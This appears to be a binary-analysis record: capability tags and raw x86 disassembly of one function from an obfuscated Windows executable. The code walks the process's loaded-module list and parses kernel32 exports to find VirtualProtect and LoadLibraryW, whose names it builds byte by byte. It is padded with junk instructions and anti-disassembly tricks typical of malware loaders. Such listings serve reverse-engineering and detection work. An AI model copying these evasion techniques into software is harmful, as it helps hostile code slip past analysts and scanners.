Function at 0x406b18
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x405d36
cmp dword [ebp - 0x3c4], 0
je 0x405e11
push esi
push esi
add esp, 4
call 0x405d55
add byte [ebp + 0x3d], al
xor eax, 0x33394f4b
add esp, 4
add esi, 0x10737
sub esi, 0x13269
call 0x405d71
add byte [edx + esi + 0x38], al
cmp byte [esi], bh
xor eax, 0x4c48349
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
jmp 0x405d89
jmp 0x405d92
sub ebx, 0x13158
or ebx, 0xfece
pop ebx
push eax
jmp 0x405da6
and eax, 0x84c0
add eax, 0x183ab
pop eax
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x405e11
push edi
or edi, 0x5588
and edi, 0xe265
xor edi, 0x6f36
sub edi, 0xf100
pop edi
push esi
push esi
add esp, 4
and esi, 0x13e4
and esi, 0x158a7
add esi, 0x13551
pop esi
mov dword [ebp - 0x738], 0
jmp 0x4064fb
push edx
or edx, 0xbf5b
xor edx, 0xffd
xor edx, 0x61fd
pop edx
push edx
push esi
add esp, 4
sub edx, 0x106cb
add edx, 0x21ed
jmp 0x405e3c
sub edx, 0x978d
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
push ecx
add esp, 4
call 0x405e7c
add byte [eax + 0x38], cl
dec edi
inc ecx
dec ecx
xor al, 0x37
add esp, 4
xor ecx, 0x696f
pop ecx
push esi
push edx
add esp, 4
call 0x405e98
add byte [edx], bh
dec edx
inc ecx
cmp dword [esp + esi + 0x45], ecx
add esp, 4
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x405eb4
mov dword [ebp - 0x2e0], 0
jmp 0x40615b
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
and eax, 0x148a1
xor eax, 0x4a1e
and eax, 0xbdc1
pop eax
push eax
push edi
add esp, 4
or eax, 0xc397
add eax, 0xdc16
sub eax, 0x10bc0
add eax, 0x13f8c
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x405f10
mov dword [ebp - 0x2e0], 0
jmp 0x40615b
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
push ecx
add esp, 4
or esi, 0x175d0
pop esi
push edx
push ebx
add esp, 4
or edx, 0x1365a
jmp 0x405f39
or edx, 0x1502e
pop edx
push ebx
or ebx, 0x4c95
xor ebx, 0x13962
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push edx
add esp, 4
add esi, 0xcbe2
add esi, 0x1860f
pop esi
push ebx
sub ebx, 0x4c89
add ebx, 0x9ce4
call 0x405fa6
add byte [esi + 0x4d], cl
cmp byte [ecx + 0x38], al
dec ecx
xor al, 0x4a
cmp eax, 0x5b04c483
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edx
add esp, 4
xor edx, 0x5812
and edx, 0x40a3
or edx, 0x102ac
or edx, 0x35a1
pop edx
push ecx
add ecx, 0xed02
add ecx, 0xa8b9
xor ecx, 0x346f
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406050
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4060aa
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x405f78
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x405f78
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x406094
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x40609e
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x4060f3
push edx
sub edx, 0x18667
and edx, 0xe504
call 0x4060cd
add byte [ebp + 0x3e], al
cmp dh, byte [edi]
inc ebx
dec esi
aaa
add esp, 4
sub edx, 0xe448
pop edx
push eax
or eax, 0x1270d
sub eax, 0xb474
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x40615b
push ecx
sub ecx, 0x149e3
call 0x406107
add byte [edi + 0x41], al
cmp eax, 0x3b443a47
add esp, 4
pop ecx
push ecx
jmp 0x406113
jmp 0x406118
xor ecx, 0x17311
xor ecx, 0x239f
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406151
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x405f1c
mov dword [ebp - 0x2e0], 0
push esi
push esi
add esp, 4
add esi, 0x3899
pop esi
push eax
or eax, 0xeda6
jmp 0x406175
call 0x406183
add byte [edi + 0x5035503a], bh
inc eax
inc edx
add esp, 4
and eax, 0x44b3
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
push ebx
add esp, 4
sub eax, 0x1217e
pop eax
push eax
xor eax, 0x2271
pop eax
push ebx
add ebx, 0xdc1a
add ebx, 0x5946
pop ebx
push eax
sub eax, 0x12fd7
pop eax
push esi
or esi, 0x15d1e
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x4061fe
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064ef
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406226
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064ef
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x406258
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x4064ef
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x40627d
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064ef
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4062d7
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4064e3
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x406347
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x4063f9
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x4063f9
push ecx
push edi
add esp, 4
or ecx, 0x1476b
add ecx, 0x13809
xor ecx, 0xf4ae
pop ecx
push ebx
call 0x40639c
add byte [eax + 0x3f], al
dec ecx
xor eax, 0x34353b32
xor al, byte [ebx - 0x3c7efb3c]
cwde
pop ecx
add dword [eax], eax
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x4063eb
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x4063f2
jmp 0x406338
jmp 0x4063f9
push edx
jmp 0x406401
add edx, 0xb55a
pop edx
push eax
push edi
add esp, 4
add eax, 0x9aef
jmp 0x406419
call 0x406427
add byte [esi + 0x3d], al
inc ebp
cmp eax, dword [edx + ecx*2 + 0x40]
xor eax, 0x5804c483
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x406458
mov dword [ebp - 0xc40], 0
jmp 0x4064c7
push edx
add edx, 0x24de
jmp 0x406468
sub edx, 0xc30
pop edx
push ecx
push eax
add esp, 4
add ecx, 0x17bb3
call 0x406486
add byte [esi + esi], dh
aas
xor eax, 0xc4834d3c
add al, 0x59
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4064bd
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4064c7
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4064de
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064ef
jmp 0x4062c8
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
add ebx, 0x3cfd
jmp 0x40650b
add ebx, 0xd891
sub ebx, 0xa719
pop ebx
push eax
add eax, 0x15d1d
jmp 0x406526
and eax, 0x5593
pop eax
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push ebx
add esp, 4
sub edi, 0x132b2
pop edi
push edi
push ecx
add esp, 4
xor edi, 0xb65a
xor edi, 0x15a09
jmp 0x40655f
pop edi
push ecx
and ecx, 0x15953
sub ecx, 0x4e22
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x406580
cmp dword [ebp - 0xa5c], 0
jne 0x4065c6
push ebx
push edx
add esp, 4
jmp 0x40658e
and ebx, 0x3ddd
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x14743
add ecx, 0x217a
jmp 0x4065ab
and ecx, 0x15183
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push ecx
add esp, 4
add ecx, 0x166ae
jmp 0x4065e2
jmp 0x4065e7
jmp 0x4065f0
pop ecx
push eax
jmp 0x4065fb
and eax, 0xf60
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push eax
add esp, 4
or eax, 0x927f
and eax, 0xc2a8
xor eax, 0xe993
and eax, 0x11212
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x2b64
pop ecx
push eax
sub eax, 0x14e29
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push edi
add esp, 4
add edi, 0x9d76
add edi, 0x15774
add edi, 0x185ee
and edi, 0xf28b
pop edi
push edx
jmp 0x4066ed
add edx, 0xb8b8
xor edx, 0x9cc9
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
xor esi, 0xe082
add esi, 0xae10
and esi, 0xb119
pop esi
push eax
push ebx
add esp, 4
and eax, 0xf67b
or eax, 0x10a99
xor eax, 0x12a19
add eax, 0xddcd
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x40676b
mov dword [ebp - 0x2a8], 0
jmp 0x406a12
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
and ecx, 0x1544d
and ecx, 0xb3fa
call 0x406799
add byte [ecx + 0x32], al
dec esp
aaa
inc edx
inc esp
xor edi, dword [ecx]
inc esi
add esp, 4
pop ecx
push edx
push ecx
add esp, 4
and edx, 0x5e6b
xor edx, 0x56b8
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x4067c7
mov dword [ebp - 0x2a8], 0
jmp 0x406a12
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push edx
add esp, 4
xor edx, 0xc747
pop edx
push ebx
push ebx
add esp, 4
call 0x4067f4
add byte [edx + ecx*2], dh
dec edi
push eax
dec edx
inc ebx
inc ecx
dec edi
inc ecx
xor eax, 0x8104c483
ret
push edi
or edi, 0x9355
pop edi
push ecx
and ecx, 0x7b40
pop ecx
push edx
xor edx, 0x9849
pop edx
push eax
or eax, 0x102cb
pop eax
push edx
push eax
add esp, 4
xor edx, 0xbb42
xor edx, 0x2c6c
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x407349
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
xor eax, 0xce8e
and eax, 0x6a8c
xor eax, 0x416
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0x6ea3
call 0x406b18
add byte [edx], dh
dec eax
aas
dec ebp
aas
dec eax
dec eax
add esp, 4
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push edx
add esp, 4
sub esi, 0x1820
add esi, 0x2438
sub esi, 0xd092
and esi, 0x36c
pop esi
push edi
and edi, 0x613c
pop edi
push edi
push ecx
add esp, 4
sub edi, 0xffe7
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x406be9
mov dword [ebp - 0x710], 0
jmp 0x406e90
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
sub eax, 0x2e96
or eax, 0x2195
or eax, 0x8fdc
xor eax, 0xb223
pop eax
push esi
push esi
add esp, 4
add esi, 0x1590d
add esi, 0x6a22
or esi, 0xc367
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x406c45
mov dword [ebp - 0x710], 0
jmp 0x406e90
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
push edx
add esp, 4
and eax, 0xf931
jmp 0x406c62
or eax, 0xe329
pop eax
push ecx
push edi
add esp, 4
and ecx, 0xf54f
sub ecx, 0x11e6a
jmp 0x406c82
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
and ebx, 0x44de
or ebx, 0x14e31
sub ebx, 0x16be3
sub ebx, 0x14d93
pop ebx
push ecx
push eax
add esp, 4
jmp 0x406cd2
and ecx, 0x92c3
sub ecx, 0xb6ad
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push edx
add esp, 4
or esi, 0x7361
add esi, 0x7ba8
add esi, 0x48c3
pop esi
push eax
add eax, 0x17be9
xor eax, 0xbefa
add eax, 0x14bd8
add eax, 0x5e32
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x406d85
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x406ddf
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x406cad
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x406cad
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x406dc9
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x406dd3
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x406e28
push edx
push ecx
add esp, 4
xor edx, 0x13e3c
jmp 0x406dfa
sub edx, 0x3227
pop edx
push ebx
push esi
add esp, 4
call 0x406e16
add byte [eax + 0x3c], dl
inc ecx
inc esi
aaa
cmp eax, 0x4c454f34
add esp, 4
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x406e90
push eax
push edi
add esp, 4
sub eax, 0x28ee
or eax, 0x166c4
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0xc185
or ecx, 0x17c23
xor ecx, 0xf272
pop ecx
push esi
and esi, 0x10341
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x406e86
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406c51
mov dword [ebp - 0x710], 0
push eax
push edx
add esp, 4
xor eax, 0x176f0
xor eax, 0x145ca
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0xd525
sub ecx, 0x3f24
pop ecx
push ebx
add ebx, 0x155e9
xor ebx, 0xc938
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x406f0c
push ebx
xor ebx, 0x17a05
and ebx, 0x53da
call 0x406ee5
add byte [ebp + 0x4e], cl
dec ebp
cmp al, 0x3d
cmp al, 0x37
add esp, 4
xor ebx, 0xdad1
pop ebx
push edx
add edx, 0x35c7
add edx, 0x58e3
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x407a34
push edi
and edi, 0x994b
and edi, 0x17887
sub edi, 0x4c73
pop edi
push ecx
call 0x406f31
add byte [ebx + 0x4a], al
dec ecx
dec edx
dec ebp
xor al, 0x37
add esp, 4
jmp 0x406f3d
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x406f7d
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40726e
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x406fa5
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40726e
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x406fd7
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40726e
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x406ffc
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40726e
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x407056
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407262
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4070c6
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407178
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x407178
push edi
push eax
add esp, 4
xor edi, 0x6000
pop edi
push edi
push ebx
add esp, 4
add edi, 0xc29f
xor edi, 0x14794
add edi, 0x5a80
add edi, 0x31de
pop edi
push ecx
jmp 0x407124
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40716a
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x407171
jmp 0x4070b7
jmp 0x407178
push ebx
and ebx, 0x13143
pop ebx
push eax
push esi
add esp, 4
add eax, 0x11c
or eax, 0x17b33
pop eax
push edi
push edi
add esp, 4
or edi, 0xad63
and edi, 0x11db5
xor edi, 0xddd1
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4071d7
mov dword [ebp - 0xc5c], 0
jmp 0x407246
push esi
push esi
add esp, 4
or esi, 0x2fd7
pop esi
push esi
push ecx
add esp, 4
and esi, 0x9c0e
add esi, 0x1529a
or esi, 0xa3c9
pop esi
push ebx
and ebx, 0x7d68
and ebx, 0xbfb4
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40723c
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x407246
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40725d
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40726e
jmp 0x407047
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x407349
push esi
push eax
add esp, 4
sub esi, 0xe9b6
or esi, 0x12db8
and esi, 0x178ea
pop esi
push edx
push ebx
add esp, 4
add edx, 0xe9ba
add edx, 0xbef6
pop edx
push edi
add edi, 0x12597
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
push esi
add esp, 4
and eax, 0x1421e
pop eax
push ecx
sub ecx, 0xe4ad
sub ecx, 0x12a
sub ecx, 0x6d15
pop ecx
push eax
push edx
add esp, 4
sub eax, 0x1512f
and eax, 0xaea8
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407349
push ecx
push ebx
add esp, 4
xor ecx, 0x10fb3
call 0x407322
add byte [ebx + 0x32], al
cmp byte [ebp + edi + 0x33], cl
dec ecx
cmp dword [ebp - 0x7d], ecx
les eax, [ebx + ebp*8]
add al, 0x4d
cmp cl, byte [esp + eax*2 + 0x59]
push eax
or eax, 0x4b62
sub eax, 0x159c9
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x407a34
push ebx
jmp 0x407352
call 0x40735f
add byte [edi + 0x44], cl
dec ebp
cmp al, 0x32
inc esp
cmp byte [ebx - 0x347efb3c], al
in al, 0x93
add byte [eax], al
call 0x407377
add byte [esi + 0x3b], cl
inc esp
push eax
inc esi
inc esi
inc ebx
dec esi
dec ebp
add esp, 4
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
sub edi, 0xde74
pop edi
push ecx
jmp 0x4073b4
add ecx, 0x1171c
add ecx, 0xec23
pop ecx
push ecx
or ecx, 0x8b52
and ecx, 0x179d0
or ecx, 0x8eee
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x4073ed
mov dword [ebp - 0x2a8], 0
jmp 0x407694
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push ebx
add esp, 4
call 0x407413
add byte [ebx + 0x34], al
cmp dword [ecx + 0x36], eax
push eax
inc ebp
push eax
add esp, 4
pop edx
push edx
or edx, 0x1289d
and edx, 0xdd91
or edx, 0xa3cf
